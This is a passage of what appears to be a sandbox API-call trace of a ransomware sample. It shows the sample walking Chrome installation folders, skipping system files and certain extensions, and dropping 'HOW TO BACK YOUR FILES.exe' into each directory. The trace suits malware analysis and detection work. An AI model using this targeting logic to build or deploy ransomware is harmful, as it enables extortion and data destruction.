	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2="MSBuild") returned -1
	[0055.646] lstrlenW (lpString="eventlog_provider.dll") returned 21
	[0055.646] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned 75
	[0055.646] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="eventlog_provider.dll" | out: lpString1="eventlog_provider.dll") returned="eventlog_provider.dll"
	[0055.646] lstrlenW (lpString="eventlog_provider.dll") returned 21
	[0055.646] lstrlenW (lpString="Apollon865") returned 10
	[0055.646] lstrcmpiW (lpString1="ovider.dll", lpString2="Apollon865") returned 1
	[0055.646] lstrlenW (lpString=".dll") returned 4
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2=".dll") returned 1
	[0055.646] lstrlenW (lpString=".lnk") returned 4
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2=".lnk") returned 1
	[0055.646] lstrlenW (lpString=".ini") returned 4
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2=".ini") returned 1
	[0055.647] lstrlenW (lpString=".sys") returned 4
	[0055.647] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2=".sys") returned 1
	[0055.647] lstrlenW (lpString="eventlog_provider.dll") returned 21
	[0055.647] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Extensions" | out: lpString1="Extensions") returned="Extensions"
	[0055.647] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0055.647] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599450
	[0055.647] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0055.647] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x392e12f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x392e12f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.647] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.647] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7d7940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7d7940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe9bf1b1, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9a9480, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2="Apollon865.txt.exe") returned 1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2=".") returned 1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2="..") returned 1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2="windows") returned -1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2="bootmgr") returned 1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2="temp") returned -1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2="pagefile.sys") returned -1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2="boot") returned 1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2="ids.txt") returned -1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2="ntuser.dat") returned -1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2="perflogs") returned -1
	[0055.647] lstrcmpiW (lpString1="icudtl.dat", lpString2="MSBuild") returned -1
	[0055.647] lstrlenW (lpString="icudtl.dat") returned 10
	[0055.647] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions") returned 73
	[0055.647] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="icudtl.dat" | out: lpString1="icudtl.dat") returned="icudtl.dat"
	[0055.647] lstrlenW (lpString="icudtl.dat") returned 10
	[0055.648] lstrlenW (lpString="Apollon865") returned 10
	[0055.648] lstrlenW (lpString=".dll") returned 4
	[0055.648] lstrcmpiW (lpString1="icudtl.dat", lpString2=".dll") returned 1
	[0055.648] lstrlenW (lpString=".lnk") returned 4
	[0055.648] lstrcmpiW (lpString1="icudtl.dat", lpString2=".lnk") returned 1
	[0055.648] lstrlenW (lpString=".ini") returned 4
	[0055.648] lstrcmpiW (lpString1="icudtl.dat", lpString2=".ini") returned 1
	[0055.648] lstrlenW (lpString=".sys") returned 4
	[0055.648] lstrcmpiW (lpString1="icudtl.dat", lpString2=".sys") returned 1
	[0055.648] lstrlenW (lpString="icudtl.dat") returned 10
	[0055.648] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Installer" | out: lpString1="Installer") returned="Installer"
	[0055.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0055.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5994f0
	[0055.648] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0055.648] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76be28f2, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x18958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="libegl.dll", cAlternateFileName="")) returned 1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2="Apollon865.txt.exe") returned 1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2=".") returned 1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2="..") returned 1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2="windows") returned -1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2="bootmgr") returned 1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2="temp") returned -1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2="pagefile.sys") returned -1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2="boot") returned 1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2="ids.txt") returned 1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2="ntuser.dat") returned -1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2="perflogs") returned -1
	[0055.648] lstrcmpiW (lpString1="libegl.dll", lpString2="MSBuild") returned -1
	[0055.648] lstrlenW (lpString="libegl.dll") returned 10
	[0055.648] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer") returned 72
	[0055.648] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="libegl.dll" | out: lpString1="libegl.dll") returned="libegl.dll"
	[0055.649] lstrlenW (lpString="libegl.dll") returned 10
	[0055.649] lstrlenW (lpString="Apollon865") returned 10
	[0055.649] lstrlenW (lpString=".dll") returned 4
	[0055.649] lstrcmpiW (lpString1="libegl.dll", lpString2=".dll") returned 1
	[0055.649] lstrlenW (lpString=".lnk") returned 4
	[0055.649] lstrcmpiW (lpString1="libegl.dll", lpString2=".lnk") returned 1
	[0055.649] lstrlenW (lpString=".ini") returned 4
	[0055.649] lstrcmpiW (lpString1="libegl.dll", lpString2=".ini") returned 1
	[0055.649] lstrlenW (lpString=".sys") returned 4
	[0055.649] lstrcmpiW (lpString1="libegl.dll", lpString2=".sys") returned 1
	[0055.649] lstrlenW (lpString="libegl.dll") returned 10
	[0055.649] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="libglesv2.dll" | out: lpString1="libglesv2.dll") returned="libglesv2.dll"
	[0055.649] lstrlenW (lpString="libglesv2.dll") returned 13
	[0055.649] lstrlenW (lpString="Apollon865") returned 10
	[0055.649] lstrcmpiW (lpString1="glesv2.dll", lpString2="Apollon865") returned 1
	[0055.649] lstrlenW (lpString=".dll") returned 4
	[0055.649] lstrcmpiW (lpString1="libglesv2.dll", lpString2=".dll") returned 1
	[0055.649] lstrlenW (lpString=".lnk") returned 4
	[0055.649] lstrcmpiW (lpString1="libglesv2.dll", lpString2=".lnk") returned 1
	[0055.649] lstrlenW (lpString=".ini") returned 4
	[0055.649] lstrcmpiW (lpString1="libglesv2.dll", lpString2=".ini") returned 1
	[0055.649] lstrlenW (lpString=".sys") returned 4
	[0055.649] lstrcmpiW (lpString1="libglesv2.dll", lpString2=".sys") returned 1
	[0055.649] lstrlenW (lpString="libglesv2.dll") returned 13
	[0055.649] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Locales" | out: lpString1="Locales") returned="Locales"
	[0055.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0055.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8e) returned 0x599590
	[0055.649] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0055.649] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2818c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="NACL_I~1.NEX")) returned 1
	[0055.649] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2="Apollon865.txt.exe") returned 1
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2=".") returned 1
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2="..") returned 1
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2="windows") returned -1
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2="bootmgr") returned 1
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2="temp") returned -1
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2="pagefile.sys") returned -1
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2="boot") returned 1
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2="ids.txt") returned 1
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2="ntuser.dat") returned -1
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2="perflogs") returned -1
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2="MSBuild") returned 1
	[0055.650] lstrlenW (lpString="nacl_irt_x86_64.nexe") returned 20
	[0055.650] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned 70
	[0055.650] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="nacl_irt_x86_64.nexe" | out: lpString1="nacl_irt_x86_64.nexe") returned="nacl_irt_x86_64.nexe"
	[0055.650] lstrlenW (lpString="nacl_irt_x86_64.nexe") returned 20
	[0055.650] lstrlenW (lpString="Apollon865") returned 10
	[0055.650] lstrcmpiW (lpString1="86_64.nexe", lpString2="Apollon865") returned -1
	[0055.650] lstrlenW (lpString=".dll") returned 4
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2=".dll") returned 1
	[0055.650] lstrlenW (lpString=".lnk") returned 4
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2=".lnk") returned 1
	[0055.650] lstrlenW (lpString=".ini") returned 4
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2=".ini") returned 1
	[0055.650] lstrlenW (lpString=".sys") returned 4
	[0055.650] lstrcmpiW (lpString1="nacl_irt_x86_64.nexe", lpString2=".sys") returned 1
	[0055.650] lstrlenW (lpString="nacl_irt_x86_64.nexe") returned 20
	[0055.650] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="natives_blob.bin" | out: lpString1="natives_blob.bin") returned="natives_blob.bin"
	[0055.650] lstrlenW (lpString="natives_blob.bin") returned 16
	[0055.650] lstrlenW (lpString="Apollon865") returned 10
	[0055.650] lstrcmpiW (lpString1="s_blob.bin", lpString2="Apollon865") returned 1
	[0055.650] lstrlenW (lpString=".dll") returned 4
	[0055.651] lstrcmpiW (lpString1="natives_blob.bin", lpString2=".dll") returned 1
	[0055.651] lstrlenW (lpString=".lnk") returned 4
	[0055.651] lstrcmpiW (lpString1="natives_blob.bin", lpString2=".lnk") returned 1
	[0055.651] lstrlenW (lpString=".ini") returned 4
	[0055.651] lstrcmpiW (lpString1="natives_blob.bin", lpString2=".ini") returned 1
	[0055.651] lstrlenW (lpString=".sys") returned 4
	[0055.651] lstrcmpiW (lpString1="natives_blob.bin", lpString2=".sys") returned 1
	[0055.651] lstrlenW (lpString="natives_blob.bin") returned 16
	[0055.651] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="resources.pak" | out: lpString1="resources.pak") returned="resources.pak"
	[0055.651] lstrlenW (lpString="resources.pak") returned 13
	[0055.651] lstrlenW (lpString="Apollon865") returned 10
	[0055.651] lstrcmpiW (lpString1="ources.pak", lpString2="Apollon865") returned 1
	[0055.651] lstrlenW (lpString=".dll") returned 4
	[0055.651] lstrcmpiW (lpString1="resources.pak", lpString2=".dll") returned 1
	[0055.651] lstrlenW (lpString=".lnk") returned 4
	[0055.651] lstrcmpiW (lpString1="resources.pak", lpString2=".lnk") returned 1
	[0055.651] lstrlenW (lpString=".ini") returned 4
	[0055.651] lstrcmpiW (lpString1="resources.pak", lpString2=".ini") returned 1
	[0055.651] lstrlenW (lpString=".sys") returned 4
	[0055.651] lstrcmpiW (lpString1="resources.pak", lpString2=".sys") returned 1
	[0055.651] lstrlenW (lpString="resources.pak") returned 13
	[0055.651] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="snapshot_blob.bin" | out: lpString1="snapshot_blob.bin") returned="snapshot_blob.bin"
	[0055.651] lstrlenW (lpString="snapshot_blob.bin") returned 17
	[0055.651] lstrlenW (lpString="Apollon865") returned 10
	[0055.651] lstrcmpiW (lpString1="t_blob.bin", lpString2="Apollon865") returned 1
	[0055.651] lstrlenW (lpString=".dll") returned 4
	[0055.651] lstrcmpiW (lpString1="snapshot_blob.bin", lpString2=".dll") returned 1
	[0055.651] lstrlenW (lpString=".lnk") returned 4
	[0055.651] lstrcmpiW (lpString1="snapshot_blob.bin", lpString2=".lnk") returned 1
	[0055.651] lstrlenW (lpString=".ini") returned 4
	[0055.651] lstrcmpiW (lpString1="snapshot_blob.bin", lpString2=".ini") returned 1
	[0055.652] lstrlenW (lpString=".sys") returned 4
	[0055.652] lstrcmpiW (lpString1="snapshot_blob.bin", lpString2=".sys") returned 1
	[0055.652] lstrlenW (lpString="snapshot_blob.bin") returned 17
	[0055.652] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="VisualElements" | out: lpString1="VisualElements") returned="VisualElements"
	[0055.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0055.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9c) returned 0x5afa60
	[0055.652] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b70
	[0055.652] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2="Apollon865.txt.exe") returned 1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2=".") returned 1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2="..") returned 1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2="windows") returned -1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2="bootmgr") returned 1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2="temp") returned 1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2="pagefile.sys") returned 1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2="boot") returned 1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2="ids.txt") returned 1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2="ntuser.dat") returned 1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2="perflogs") returned 1
	[0055.652] lstrcmpiW (lpString1="WidevineCdm", lpString2="MSBuild") returned 1
	[0055.652] lstrlenW (lpString="WidevineCdm") returned 11
	[0055.652] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned 77
	[0055.652] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="WidevineCdm" | out: lpString1="WidevineCdm") returned="WidevineCdm"
	[0055.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0055.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x5afb08
	[0055.652] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0055.652] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0
	[0055.652] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0055.653] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0055.653] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm"
	[0055.653] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb08 | out: hHeap=0x580000) returned 1
	[0055.653] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0055.653] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm") returned 74
	[0055.653] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm"
	[0055.653] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.653] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.661] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.661] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x393ebc90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x393ebc90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.662] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.662] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.662] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.662] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x393ebc90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x393ebc90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.662] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.662] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.662] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.662] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.662] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x393ebc90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x393ebc90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.662] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.662] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3db415, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x3b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2="Apollon865.txt.exe") returned 1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2=".") returned 1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2="..") returned 1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2="windows") returned -1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2="bootmgr") returned 1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2="temp") returned -1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2="pagefile.sys") returned -1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2="boot") returned 1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2="ids.txt") returned 1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2="ntuser.dat") returned -1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2="perflogs") returned -1
	[0055.662] lstrcmpiW (lpString1="manifest.json", lpString2="MSBuild") returned -1
	[0055.662] lstrlenW (lpString="manifest.json") returned 13
	[0055.662] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*") returned 76
	[0055.662] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="manifest.json" | out: lpString1="manifest.json") returned="manifest.json"
	[0055.663] lstrlenW (lpString="manifest.json") returned 13
	[0055.663] lstrlenW (lpString="Apollon865") returned 10
	[0055.663] lstrcmpiW (lpString1="ifest.json", lpString2="Apollon865") returned 1
	[0055.663] lstrlenW (lpString=".dll") returned 4
	[0055.663] lstrcmpiW (lpString1="manifest.json", lpString2=".dll") returned 1
	[0055.663] lstrlenW (lpString=".lnk") returned 4
	[0055.663] lstrcmpiW (lpString1="manifest.json", lpString2=".lnk") returned 1
	[0055.663] lstrlenW (lpString=".ini") returned 4
	[0055.663] lstrcmpiW (lpString1="manifest.json", lpString2=".ini") returned 1
	[0055.663] lstrlenW (lpString=".sys") returned 4
	[0055.663] lstrcmpiW (lpString1="manifest.json", lpString2=".sys") returned 1
	[0055.663] lstrlenW (lpString="manifest.json") returned 13
	[0055.663] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="_platform_specific" | out: lpString1="_platform_specific") returned="_platform_specific"
	[0055.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0055.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x5aa638
	[0055.663] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0055.663] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 0
	[0055.663] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
